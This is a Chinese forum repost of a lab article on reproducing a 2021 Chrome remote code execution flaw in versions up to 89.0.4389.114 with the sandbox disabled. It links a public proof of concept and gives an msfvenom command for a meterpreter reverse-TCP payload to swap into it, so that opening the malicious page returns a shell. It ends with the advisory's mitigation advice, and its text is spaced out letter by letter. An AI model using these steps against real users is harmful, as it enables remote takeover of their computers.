搜索

[20567] 2021-04-16_Chrome远程代码执行并移植MSF控制

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-04-16_Chrome远程代码执行并移植MSF控制 C h r o m e 远 程 代 码 执 行 并 移 植 M S F 控 制 原 创   V o i d z e r o   K h a n 安 全 攻 防 实 验 室   2 0 2 1 - 0 4 - 1 6 收 录 于 话 题 # 黑 客 技 术   , 1 3 # 信 息 安 全   , 1 9 # 红 队 攻 击   , 1 3 # 渗 透 测 试   , 1 9 # 网 络 安 全   , 1 5                 国 家 信 息 安 全 漏 洞 共 享 平 台 （ C N V D ） 收 录 了   G o o g l e   C h r o m e   远 程 代 码 执 行 漏 洞 。 未 经 身 份 验 证 的 攻 击 者 利 用 该 漏 洞 ， 可 通 过 精 心 构 造 恶 意 页 面 ， 诱 导 受 害 者 访 问 ， 实 现 对 浏 览 器 的 远 程 代 码 执 行 攻 击   ,   但 攻 击 者 单 独 利 用 该 漏 洞 无 法 实 现 沙 盒 （ S a n d B o x ） 逃 逸 。 沙 盒 是   G o o g l e   C h r o m e   浏 览 器 的 安 全 边 界 ， 防 止 恶 意 攻 击 代 码 破 坏 用 户 系 统 或 者 浏 览 器 其 他 页 面 。 G o o g l e   C h r o m e   浏 览 器 默 认 开 启 沙 盒 保 护 模 式 。 C N V D   对 该 漏 洞 的 综 合 评 级 为   “ 高 危 ” 。 G o o g l e   C h r o m e   0 d a y   远 程 代 码 执 行 漏 洞 复 现                 条 件 ：                                                 1 . 环 境 w i n 1 0 、 w i n 7 均 可 ， s e v e r 不 行                                 2 . 关 闭 沙 箱 模 式 - n o - s a n d b o x                                 3 . c h r o m e 客 户 端 需 6 4 位 （ G o o g l e   C h r o m e   <   =   8 9 . 0 . 4 3 8 9 . 1 1 4 ）              
实 验 ： 使 用 命 令 关 闭 沙 箱 模 式 - n o - s a n d b o x P o c ： h t t p s : / / g i t h u b . c o m / r 4 j 0 x 0 0 / e x p l o i t s / t r e e / m a s t e r / c h r o m e - 0 d a y 将 s h e l l c o d e 换 成 m s f ：                 这 里 有 集 成 的 脚 本 ： h t t p s : / / g i t h u b . c o m / b a d b o y c x c c / s c r i p t 1 . 生 成 s h e l l c o d e ： m s f v e n o m   - p   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p   l h o s t = 1 9 2 . 1 6 8 . x x . x x     l p o r t = 4 4 4 4   - f   c s h a r p   - o   p a y l o a d 3 . t x t
将 生 成 的 s h e l l c o d e 进 行 替 换 即 可         使 用 谷 歌 打 开 恶 意 h t m l 文 件 即 可 反 弹 s h e l l
据 说 沙 盒 可 以 控 制 漏 洞 处 置 建 议                   目 前 ， G o o g l e   公 司 尚 未 发 布 新 版 本 或 补 丁 包 修 复 漏 洞 ， C N V D   建 议 用 户 使 用   G o o g l e   C h r o m e   浏 览 器 时 不 关 闭 默 认 沙 盒 模 式 ， 同 时 谨 慎 访 问 来 源 不 明 的 网 页 链 接 或 文 件 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理